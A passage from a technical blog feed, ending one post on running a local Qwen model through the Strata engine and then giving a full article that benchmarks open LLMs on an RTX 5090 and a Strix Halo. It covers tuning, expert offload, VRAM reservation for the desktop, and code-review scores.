<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">systemctl --user daemon-reload
</span></span><span class="line"><span class="cl">systemctl --user <span class="nb">enable</span> --now qwen-strata.service</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The price is the wait on the first message after some idle time. In exchange, when I&rsquo;m not programming, the machine is mine again.</p>
<h2>Configuring OpenCode<span class="hx:absolute hx:-mt-20" id="configuring-opencode"></span>
    <a href="#configuring-opencode" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Strata has a shortcut, <code>strata connect opencode --write</code>, that writes the configuration after asking and keeps a backup. By hand, it&rsquo;s an OpenAI-compatible provider pointing at the local port:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="s2">&#34;provider&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;strata-5090&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;npm&#34;</span><span class="p">:</span> <span class="s2">&#34;@ai-sdk/openai-compatible&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Strata (RTX 5090)&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;options&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;baseURL&#34;</span><span class="p">:</span> <span class="s2">&#34;http://127.0.0.1:8080/v1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;apiKey&#34;</span><span class="p">:</span> <span class="s2">&#34;local&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;models&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;qwen3.8-flash-next-iq3_s&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Qwen3.8 Flash-Next IQ3_S (Strata 5090)&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;reasoning&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;tool_call&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;limit&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;context&#34;</span><span class="p">:</span> <span class="mi">262144</span><span class="p">,</span> <span class="nt">&#34;input&#34;</span><span class="p">:</span> <span class="mi">229376</span><span class="p">,</span> <span class="nt">&#34;output&#34;</span><span class="p">:</span> <span class="mi">32768</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Any key works, because the server is local. Strata itself warns that OpenCode needs <code>limit.input</code>, to know how much of the context is left for input; in the example I set it to the context minus the max output. Claude Code works too, by pointing <code>ANTHROPIC_BASE_URL</code> at <code>http://127.0.0.1:8080</code> and setting <code>CLAUDE_CODE_MAX_CONTEXT_TOKENS</code> to the context size, since Strata speaks the Anthropic API as well.</p>
<p>One detail: by default Strata serves one request at a time. If your agent fires off subagents in parallel, they get queued.</p>
<h2>And day to day?<span class="hx:absolute hx:-mt-20" id="and-day-to-day"></span>
    <a href="#and-day-to-day" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you have the machine for it, the result is good. Flash-Next stays above 150 tokens per second most of the time, as you can see in the screenshot at the top, and tool calling is solid: in the benchmark it ran all seven sprints in OpenCode without a single nudge, and in normal use it reads files, runs commands and edits code without tripping over the format.</p>
<p>In practice, I don&rsquo;t feel much difference from Claude Code, or from OpenCode with GLM or Kimi in the cloud. And the cloud isn&rsquo;t at its best right now: in my perception, all those services have been a bit slower than usual lately, probably struggling with more demand than available capacity. Running at home, the speed is always the same, and the code never leaves my machine.</p>
<p>Even with good tokens per second, I still feel Flash-Next is a bit less responsive than a commercial model. There are the seconds of reading on the first message of each session, the pause when it needs experts that aren&rsquo;t on the card, and the cold load after some idle time. That&rsquo;s to be expected: we&rsquo;re running a server model with resources at the limit.</p>
<blockquote>
  <p>Considering it&rsquo;s free and runs on my machine, it&rsquo;s almost good enough. For the first time, running a local model for programming feels like a genuinely usable scenario, and I find myself using it more and more as a replacement.</p>

</blockquote>
<p>The catch is still the hardware. A 5090, 96 GB of RAM and a strong processor are the minimum for this scenario, and that hardware keeps getting more expensive and harder to find. But for those who already have it, Tier A at home is no longer a promise.</p>
]]></content:encoded><category>local-models</category><category>open-source</category><category>llms</category><category>hardware</category></item><item><title>LLM Benchmark v4: consumer-grade open source on RTX 5090 or Strix Halo. And Strata?</title><link>https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-consumer-open-source-rtx5090-strix-halo-strata/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-consumer-open-source-rtx5090-strix-halo-strata/</guid><pubDate>Thu, 22 Oct 2026 11:30:00 -0300</pubDate><description>&lt;p&gt;In the last two articles I covered the &lt;a href="https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-open-source-that-only-fits-in-4x-b300/"&gt;big-model benchmark on 4x B300&lt;/a&gt; and the &lt;a href="https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/"&gt;team-size and per-user cost math on B300 and H200&lt;/a&gt;. Now the question every developer without a Runpod pod has: &lt;strong&gt;is consumer hardware already good enough to work with AI for real?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I went back to two machines I already had: a workstation with an RTX 5090 and a Strix Halo mini PC. And with a new inference engine, Strata, which promises to make big MoEs fit on a regular PC. The short answer: a 125B model already makes Tier A on an RTX 5090. The rest is more complicated.&lt;/p&gt;</description><content:encoded><![CDATA[<p>In the last two articles I covered the <a href="/en/2026/10/22/llm-benchmark-v4-open-source-that-only-fits-in-4x-b300/">big-model benchmark on 4x B300</a> and the <a href="/en/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/">team-size and per-user cost math on B300 and H200</a>. Now the question every developer without a Runpod pod has: <strong>is consumer hardware already good enough to work with AI for real?</strong></p>
<p>I went back to two machines I already had: a workstation with an RTX 5090 and a Strix Halo mini PC. And with a new inference engine, Strata, which promises to make big MoEs fit on a regular PC. The short answer: a 125B model already makes Tier A on an RTX 5090. The rest is more complicated.</p>
<h2>The machines, side by side<span class="hx:absolute hx:-mt-20" id="the-machines-side-by-side"></span>
    <a href="#the-machines-side-by-side" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before any scores, understand the physical difference of what I&rsquo;m comparing:</p>
<table>
  <thead>
      <tr>
          <th>Hardware</th>
          <th>Memory</th>
          <th>Bandwidth</th>
          <th>Architecture</th>
          <th>Approximate cost</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>NVIDIA B300</td>
          <td>288 GB HBM3e</td>
          <td>~8 TB/s</td>
          <td>Blackwell Ultra, FP8 and FP4</td>
          <td>US$ 9/hour (Runpod)</td>
      </tr>
      <tr>
          <td>NVIDIA H200</td>
          <td>141 GB HBM3e</td>
          <td>~4.8 TB/s</td>
          <td>Hopper, FP8</td>
          <td>US$ 3.59/hour</td>
      </tr>
      <tr>
          <td>DGX Spark</td>
          <td>128 GB unified</td>
          <td>273 GB/s</td>
          <td>GB10, FP4</td>
          <td>~US$ 6,950</td>
      </tr>
      <tr>
          <td>RTX 5090</td>
          <td>32 GB GDDR7</td>
          <td>~1.8 TB/s</td>
          <td>Blackwell sm_120, FP8/FP4</td>
          <td>US$ 1,999 suggested (~5x at retail)</td>
      </tr>
      <tr>
          <td>Strix Halo (Ryzen AI Max+ 395)</td>
          <td>128 GB unified</td>
          <td>~256 GB/s</td>
          <td>gfx1151, ROCm</td>
          <td>~US$ 2,000</td>
      </tr>
  </tbody>
</table>
<p>The B300 has over 30 times the Strix Halo&rsquo;s memory bandwidth. The 5090 has 7 times. That explains why the same model flies on one machine and crawls on the other, and why quantization stops being a detail and becomes a design decision.</p>
<p>And there&rsquo;s the shared-memory detail: on the Strix and the Spark, the same RAM serves CPU, GPU and operating system. It&rsquo;s not dedicated VRAM, so the real slack is much smaller than the pretty number on the box.</p>
<h2>The ranking on consumer hardware<span class="hx:absolute hx:-mt-20" id="the-ranking-on-consumer-hardware"></span>
    <a href="#the-ranking-on-consumer-hardware" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The yardstick is the same as the v4 sabotage benchmark: 14 planted defects, a review-vigilance score, Tier A starting at 83.</p>
<table>
  <thead>
      <tr>
          <th>Model / machine</th>
          <th>Variant and engine</th>
          <th style="text-align: right">Score / Tier</th>
          <th style="text-align: right">Speed</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Qwen3.8 Flash-Next</strong> (125B-A6B)</td>
          <td>RTX 5090, Strata, IQ3_S</td>
          <td style="text-align: right"><strong>91.0 (A)</strong></td>
          <td style="text-align: right">159.2 tok/s</td>
      </tr>
      <tr>
          <td>Ornith-1.5-35B-A3B</td>
          <td>RTX 5090, Strata, Q8_0 GGUF</td>
          <td style="text-align: right">64.5 (C)</td>
          <td style="text-align: right">~80 tok/s</td>
      </tr>
      <tr>
          <td>Qwen3.8-27B</td>
          <td>5090 → Strix, Q5_K_M → Q8_0</td>
          <td style="text-align: right">80.0 (B)</td>
          <td style="text-align: right">7.7 tok/s</td>
      </tr>
      <tr>
          <td>GLM-4.7-Flash (30B-A3B)</td>
          <td>RTX 5090, llama-swap, Q5_K_M</td>
          <td style="text-align: right">24.0 (D)</td>
          <td style="text-align: right">not measured</td>
      </tr>
  </tbody>
</table>
<p>GLM-4.7-Flash completed the whole protocol (after a first nested attempt that needed a retry) and still failed to detect sabotage. And there&rsquo;s a humility lesson in the Qwen 27B: it scored 80 on the same task where it scored 80.5 on the B300, but at 7.7 tokens per second on the Q8 probe and 706 minutes on the clock. A good score doesn&rsquo;t pay for productivity.</p>
<p>I left out the tests that don&rsquo;t have a final score yet: Qwen3.8 Flash-Next on the Strix with Strata is only confirmed as executable, and the dense 27Bs were discarded on the Strix by the 30 tok/s cutoff.</p>
<h2>The tuning that makes a model run well on a PC<span class="hx:absolute hx:-mt-20" id="the-tuning-that-makes-a-model-run-well-on-a-pc"></span>
    <a href="#the-tuning-that-makes-a-model-run-well-on-a-pc" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Consumer hardware doesn&rsquo;t forgive lazy configuration. What I learned in practice:</p>
<ul>
<li><strong>On the 5090, compile llama.cpp for sm_120.</strong> A ready-made image falls into a slow PTX fallback. It&rsquo;s <code>-DGGML_CUDA=ON -DCMAKE_CUDA_ARCHITECTURES=120</code>, driver 570+, and no <code>--ctx-size 0</code> on a 32 GB card: the training-context default blows the VRAM on the first allocation. Context needs an explicit ceiling, and if you get OOM on the first request, cut 25 to 50%.</li>
<li><strong>KV cache in q8_0.</strong> Halves KV memory with no measurable quality cost. Flash-attention on by default, but GLM 4.7 Flash needs it off, because its deepseek2 architecture is incompatible.</li>
<li><strong>Hybrid reasoning is work.</strong> Qwen3.8-27B, with the SSM/Mamba architecture, needed a fresh llama.cpp/Ollama build because of <code>ssm_conv1d</code>. And &ldquo;no reasoning&rdquo; mode didn&rsquo;t prevent a coherence loop in one of the attempts; the way out was resuming on the Strix with Q8_0 and <code>--reasoning off</code>. It wasn&rsquo;t extra memory that fixed it, it was turning off the thinking.</li>
<li><strong>On the Strix, the adjustment is ROCm, not magic.</strong> <code>HSA_OVERRIDE_GFX_VERSION</code>, <code>GGML_HIP_NO_VMM</code>, <code>-dio</code>. Its trump is capacity (128 GB), not speed (~256 GB/s). Q4_K_M gave 12.6 tok/s and Q8_0 gave 7.7 tok/s, below my 30 tok/s cutoff for interactive use. That&rsquo;s why the Strix became an escape hatch for big models, not a fast chat box.</li>
<li><strong>Speculation only helps with high acceptance.</strong> In a <a href="https://mihai.ltd/blog/beating-llamacpp-from-scratch-consumer-amd"target="_blank" rel="noopener">test by Mihai Farcas</a> on an RX 7900 XTX, llama.cpp&rsquo;s n-gram speculation, with no draft model, had only 5 of 64 tokens accepted, and throughput stayed flat in one run and dropped about 2% in the other. The gain shows up with a drafter made for the model, like the helper Strata uses on Flash-Next.</li>
</ul>
<h2>What is this Strata thing<span class="hx:absolute hx:-mt-20" id="what-is-this-strata-thing"></span>
    <a href="#what-is-this-strata-thing" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://github.com/Niko1221/Strata"target="_blank" rel="noopener">Strata</a> is an open source inference engine, MIT license, built around one model: <strong>Qwen3.8 Flash-Next</strong>, a 125-billion-parameter MoE that normally asks for a server. It also runs smaller MoEs, like the Ornith-35B I tested here. The code is C++ and CUDA and reuses parts of llama.cpp/ggml. It has builds for NVIDIA (CUDA 12 and 13), AMD (including Strix Halo), Intel Arc and Apple Silicon, and brings up an OpenAI- and Anthropic-compatible API on localhost, which plugs straight into Claude Code, Codex CLI or OpenCode.</p>
<p>Careful with the name. Mihai Farcas published <a href="https://mihai.ltd/blog/beating-llamacpp-from-scratch-consumer-amd"target="_blank" rel="noopener">another engine called Strata</a>, in Rust with HIP kernels, for small dense Qwen 3.5 models on an RX 7900 XTX. They&rsquo;re different projects, and the one that ran here was the first.</p>
<p>The problem it attacks is the big MoE on a small machine. The strategy is <strong>expert-offload</strong>, in layers:</p>
<ul>
<li>the model has 24,576 experts, 512 in each of the 48 layers, and each token uses only 10 per layer;</li>
<li>the GPU holds about 4 thousand experts, the most used ones;</li>
<li>the system RAM holds all of them;</li>
<li>a lookup table of about 29 GB stays on the SSD, and the model reads a few rows of it per token.</li>
</ul>
<p>On top of that, a small helper guesses the next words and the big model checks them all at once. The README promises the same answer 1.6 to 1.8 times faster. The minimum is 32 GB adding RAM and VRAM, plus about 80 GB of disk, and the IQ3_S variant I used is about 55 GB.</p>
<p>What made me believe in it was the result: <strong>Qwen3.8 Flash-Next on the 5090 with Strata scored 91.0, with zero nudges and all 14 items solved</strong>, 1.5 points behind the 92.5 the same model scored on the B300 with vLLM. The report itself calls that &ldquo;within the noise&rdquo;. A community project, on a consumer card, sat glued to the same model served in a datacenter in NVFP4.</p>
<h3>And now it can see<span class="hx:absolute hx:-mt-20" id="and-now-it-can-see"></span>
    <a href="#and-now-it-can-see" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Until yesterday, my Strata was blind: sending an image got back &ldquo;this server was started without the vision encoder&rdquo;. I enabled vision by hand, and it was simpler than it looked.</p>
<p>The vision projector (the <code>mmproj</code>) I had already archived on the NAS inside the uncensored Flash-Next variant. I checked its sha256 against the archive&rsquo;s manifest and against the hash Strata pinned for the BF16 encoder, and copied it into the models directory. The configuration gained the <code>--vision</code> flag and a <code>vision</code> section pointing to the <code>strata-vision</code> component and the mmproj, with a backup beside it.</p>
<p>The verification was end-to-end: the encoder loads in half a second, warms up 1,024 image tokens in under two seconds, and answered &ldquo;Red&rdquo; to a red test square. And the detail that matters most to me: with the encoder resident, 3.65 GB of VRAM remained free, so the desktop&rsquo;s 4 GB reserve still holds. The only gotcha: lazy loading doesn&rsquo;t coexist with the vision section in this configuration, so it stays off here.</p>
<h2>Careful: Strata eats the whole GPU, and the desktop dies<span class="hx:absolute hx:-mt-20" id="careful-strata-eats-the-whole-gpu-and-the-desktop-dies"></span>
    <a href="#careful-strata-eats-the-whole-gpu-and-the-desktop-dies" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>There&rsquo;s a cost that doesn&rsquo;t show up in benchmarks: running Strata on the same GPU that draws your desktop. It was designed to fill the card, and it does.</p>
<p>In my case, the engine allocated 32,085 of the 32,607 MiB on the 5090, 98.4% of the VRAM. Hyprland was left with about 500 MiB, desktop allocations failed, and even the terminal stopped responding. Only a hard reset solved it.</p>
<p>It was two failures in sequence. The reserve I had configured was 2,560 MiB, but the proxy fired only once, swallowed the exception and never tried again. The engine&rsquo;s <code>/v1/vram</code> endpoint wasn&rsquo;t up at that moment, so the reserve was never applied. And 2,560 MiB was already too little for Hyprland, browser and terminal together.</p>
<p>The fix, validated under load:</p>
<ul>
<li><strong>4,096 MiB</strong> (4 GiB) reserve, with retry for up to a few minutes, engine-response verification and a confirmation log. No fire-and-forget.</li>
<li>Re-assertion of the reserve every 30 seconds while the engine is loaded, to close any rebalancing drift.</li>
<li>In the first load test, with the GPU at 99%, <strong>3,629 to 3,888 MiB stayed free during the whole generation</strong>. In the following test, one long generation and three other concurrent requests finished successfully; the smallest slack observed was 3,949 MiB. The desktop stayed alive.</li>
</ul>
<p>The price shows up in throughput. The expert cache dropped from about 11,700 slots to 9,700, so more experts travel over PCIe. In the initial measurement, it went from ~200 to ~150 tokens per second. I happily pay that: a desktop that doesn&rsquo;t freeze is worth more than those 25% of speed in that test.</p>
<p>There&rsquo;s a structural alternative: this machine has an integrated Radeon 610M, and Hyprland can be moved to it. The 5090 would be dedicated to inference.</p>
<p>The cost is that the 610M is weak for gaming and NVIDIA multi-GPU on Wayland has its quirks. I preferred the elastic reserve, because the model also unloads when idle.</p>
<p>The general lesson: <strong>never let an inference engine take 100% of a GPU that also draws your screen.</strong> In this configuration I don&rsquo;t have a rigid driver-level VRAM reservation for display clients. I had to solve it on the engine side: reserve a few GB, re-assert after every cold start, and measure again with the desktop open.</p>
<h3>The same 32 GB also limit the session<span class="hx:absolute hx:-mt-20" id="the-same-32-gb-also-limit-the-session"></span>
    <a href="#the-same-32-gb-also-limit-the-session" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The 5090&rsquo;s math is tight on all sides. The same 32 GB have to accommodate the model&rsquo;s dense weights and fixed buffers, the hot-expert cache, the resident part of the KV cache and also the 4 GiB reserve for Hyprland, browser and terminal. What&rsquo;s left for one thing comes out of another.</p>
<p>KV cache is the conversation&rsquo;s memory. Every token of the prompt, of the previous answers and of the files read creates state that the model needs to consult in the next tokens. In my Strata it&rsquo;s in <code>int8</code>, with 32K cells per layer resident on the GPU.</p>
<p>The rest can be streamed from RAM, which is why raising the window from 128K to 256K didn&rsquo;t increase VRAM or drop speed in my synthetic test. That streaming avoids the immediate blow-up, but it still uses memory and doesn&rsquo;t turn a 5090 into a limit-free server.</p>
<p>The ceiling configured here is <strong>262,144 tokens, or 256K</strong>. Several commercial models I tested, including the newest Claudes, already work in the 1-million-token class. Almost four times the window changes how you work: in Claude Code you can accumulate much more history before compaction; in the local Qwen I have to treat context as a budget from the first prompt.</p>
<p>The conversation that shows up in the terminal is only part of the context. Depending on the harness, the system prompt, <code>AGENTS.md</code> and <code>CLAUDE.md</code>, skill catalogs and loaded content, tool descriptions and schemas, MCP servers, plugin instructions, command outputs, files and the space reserved for the answer also go in. A well-implemented skill loads its full text only when called, but its catalog can still enter the prompt. A plugin that registers twenty tools also sends twenty schemas before you ask for anything.</p>
<p>That&rsquo;s why the benchmark didn&rsquo;t use my normal OpenCode. The runner <a href="https://github.com/akitaonrails/llm-coding-benchmark#local-opencode-benchmark-config"target="_blank" rel="noopener">generates an isolated configuration</a>, without the global plugins and MCPs, with only the providers and agents needed for the test. It also pins the real 262,144-token limit instead of pretending the model accepts the context advertised by another backend.</p>
<p>To use this Qwen day to day, I&rsquo;d do the same cleanup:</p>
<ul>
<li>start with the leanest possible harness and activate plugins or MCPs when the project really needs them;</li>
<li>keep heavy skills on demand, without dumping whole manuals at the start of the session;</li>
<li>compact or open a new session before touching the ceiling, recording important decisions in project files;</li>
<li>reserve space for the model&rsquo;s output. A window stuffed with input is useless if there&rsquo;s no token left for it to think, call tools and answer.</li>
</ul>
<blockquote>
  <p>With 256K, context is a hardware resource. Installing too many integrations and loading everything into every session consumes window and memory before the work starts.</p>

</blockquote>
<h2>Wasn&rsquo;t Qwen 3.8 too slow?<span class="hx:absolute hx:-mt-20" id="wasnt-qwen-38-too-slow"></span>
    <a href="#wasnt-qwen-38-too-slow" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>It was, and I wrote that. In the <a href="/en/2026/09/15/new-llm-benchmark-v4-retesting-39-llms-part-2/">v4 ranking</a>, the local Qwen 3.8 27B took almost 12 hours to close the seven sprints. In the <a href="/en/2026/10/19/llm-benchmark-v4-the-top-open-source-llms-on-a-b300/">B300 article</a> I summarized: scored 80, took 706 minutes, &ldquo;so don&rsquo;t even try&rdquo;.</p>
<p>Except that&rsquo;s another Qwen 3.8. The family has both, and they behave in opposite ways at home:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>Qwen 3.8 27B</th>
          <th>Qwen3.8 Flash-Next</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Architecture</td>
          <td>dense, 27B</td>
          <td>MoE, 125B total, 6B active per token</td>
      </tr>
      <tr>
          <td>Where v4 finished</td>
          <td>Strix Halo, Q8_0</td>
          <td>RTX 5090, IQ3_S, Strata</td>
      </tr>
      <tr>
          <td>Speed</td>
          <td>7.7 tok/s</td>
          <td><strong>159.2 tok/s</strong></td>
      </tr>
      <tr>
          <td>v4 score</td>
          <td>80.0 (B)</td>
          <td><strong>91.0 (A)</strong></td>
      </tr>
  </tbody>
</table>
<h3>Why the bigger one runs faster<span class="hx:absolute hx:-mt-20" id="why-the-bigger-one-runs-faster"></span>
    <a href="#why-the-bigger-one-runs-faster" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In token generation, a local machine is memory-bandwidth-bound: each token needs to read all the active weights. The dense 27B reads its 27 billion every token, about 29 GB in Q8. The Strix moves about 256 GB/s, so the ceiling sits near 9 tokens per second, and I measured 7.7.</p>
<p>On the 5090 the same 27B would be fast, but in Q8 it doesn&rsquo;t fit in the 32 GB along with the context that seven sprints accumulate. In Q5_K_M it fit, but got stuck in a reasoning loop on sprint 3. It finished on the Strix, in Q8_0 with reasoning off (<code>--reasoning off</code>), which is what unlocked the loop.</p>
<p>Flash-Next has almost five times more parameters in total, but only about 6 billion work per token. In 3 bits, that&rsquo;s around a tenth of what the 27B in Q8 needs to read. The hot experts stay on the 5090&rsquo;s GDDR7, with seven times the Strix&rsquo;s bandwidth, and the speculation helper gets tokens ahead. Result: about 20 times the 27B&rsquo;s speed on the Strix, with a higher score.</p>
<blockquote>
  <p>The turnaround came from the model and engine swap: a MoE with few active parameters, served by an expert-offload engine made to measure for it. No configuration flag would pull this out of the dense 27B on the Strix.</p>

</blockquote>
<h3>The tuning still charges<span class="hx:absolute hx:-mt-20" id="the-tuning-still-charges"></span>
    <a href="#the-tuning-still-charges" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The price of running at home changes from model to model. Flash-Next in 3 bits lost only 1.5 points against the B300&rsquo;s NVFP4 version. Ornith-35B, on the same engine and the same card, lost 16.5 against its BF16 version on the B300. Measure your model before trusting it.</p>
<h2>What each model did that&rsquo;s interesting<span class="hx:absolute hx:-mt-20" id="what-each-model-did-thats-interesting"></span>
    <a href="#what-each-model-did-thats-interesting" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><strong>Flash-Next: the proof that consumer reaches Tier A.</strong> 34 of 40 unannounced, plus 6 with reveal weight, and only two items needing a pointer. No nudges, all sprints clean. It&rsquo;s the only local one that combines a Tier A score, interactive speed (159 tok/s) and the full protocol without help. If the question is &ldquo;can I use it at work&rdquo;, this is the example.</p>
<p><strong>Ornith-35B: fast, but not good enough.</strong> The same Ornith that scored 81 on the B300 in BF16 scored 64.5 on the 5090 with Q8_0. Unannounced detection dropped from 30 to 23. Quantization, engine and hardware all changed at once, so the cause can&rsquo;t be isolated: this Q8_0 + Strata + 5090 combination lost 16.5 points, and I don&rsquo;t know how much came from each variable. The message is clear: &ldquo;runs fast&rdquo; is not &ldquo;reviews well&rdquo;.</p>
<p><strong>Qwen 27B: good score, terrible experience.</strong> It scored 80 on the Strix resume, with sprints 1 and 2 on the 5090, close to the B300&rsquo;s 80.5. But 7.7 tok/s on the Q8 probe and 706 minutes of wall time. And on top of that zero fixes on reveal, with four items open. Using this day to day is choosing to wait.</p>
<p><strong>GLM-4.7-Flash: the engine ran, the model failed.</strong> Full protocol in 29 minutes, and zero unannounced detection. It recovered 8 of 14 only when pointed, and even then left the fixes uncommitted. On the B300 it scored 33.5, which isn&rsquo;t good either. The problem isn&rsquo;t just the card.</p>
<h2>The distance between the categories<span class="hx:absolute hx:-mt-20" id="the-distance-between-the-categories"></span>
    <a href="#the-distance-between-the-categories" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The question every dev has is whether consumer already gets there. Direct comparison, on the same yardstick:</p>
<table>
  <thead>
      <tr>
          <th>Category</th>
          <th>Models</th>
          <th style="text-align: right">Score</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Commercial frontier</td>
          <td>Claude Opus 5 / 5.5</td>
          <td style="text-align: right">100.0</td>
      </tr>
      <tr>
          <td>Commercial frontier</td>
          <td>GPT-6 Luna</td>
          <td style="text-align: right">95.5</td>
      </tr>
      <tr>
          <td>Commercial frontier</td>
          <td>GLM 5.3 (hosted)</td>
          <td style="text-align: right">94.0</td>
      </tr>
      <tr>
          <td>Commercial frontier</td>
          <td>GPT-6 Sol / Sonnet 5</td>
          <td style="text-align: right">91.0</td>
      </tr>
      <tr>
          <td>Commercial frontier</td>
          <td>Kimi K3</td>
          <td style="text-align: right">85.0</td>
      </tr>
      <tr>
          <td>Open datacenter</td>
          <td>DeepSeek V4.1 Flash (4x B300)</td>
          <td style="text-align: right">92.5</td>
      </tr>
      <tr>
          <td>Open datacenter</td>
          <td>GLM 5.3 Flash / Qwen3.8 Flash-Next (B300)</td>
          <td style="text-align: right">92.5</td>
      </tr>
      <tr>
          <td><strong>Open consumer</strong></td>
          <td><strong>Qwen3.8 Flash-Next (5090 + Strata)</strong></td>
          <td style="text-align: right"><strong>91.0</strong></td>
      </tr>
      <tr>
          <td>Open consumer</td>
          <td>Qwen3.8-27B (Strix)</td>
          <td style="text-align: right">80.0</td>
      </tr>
      <tr>
          <td>Open consumer</td>
          <td>Ornith-35B (5090)</td>
          <td style="text-align: right">64.5</td>
      </tr>
      <tr>
          <td>Open consumer</td>
          <td>GLM-4.7-Flash (5090)</td>
          <td style="text-align: right">24.0</td>
      </tr>
  </tbody>
</table>
<p>The reading is that the consumer top is <strong>9 points below the absolute commercial top and 1.5 points below the open datacenter top</strong>, on this vigilance metric. It&rsquo;s a small distance, and it vanishes when you notice GPT-6 Sol and Sonnet 5 are also at 91. The real abyss isn&rsquo;t between datacenter and consumer: it&rsquo;s between the right model and all the others. Between Flash-Next and Ornith, on the same 5090, it&rsquo;s 26.5 points.</p>
<h2>So, is consumer hardware good enough to work with?<span class="hx:absolute hx:-mt-20" id="so-is-consumer-hardware-good-enough-to-work-with"></span>
    <a href="#so-is-consumer-hardware-good-enough-to-work-with" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><strong>Yes, with the right model and engine.</strong> An RTX 5090 with Strata delivers Tier A code-review vigilance, at 159 tokens per second, without paying a cent per token once the hardware exists. For anyone doing code review, testing coding agents and keeping private data at home, that changes the game.</p>
<p>For the first time in this benchmark I have a tested model, on consumer hardware, that deserves to go into everyday work. I&rsquo;ve already configured Flash-Next in OpenCode pointing at the 5090. The next step is using it in real programming, outside the sabotage yardstick, and seeing whether the score holds.</p>
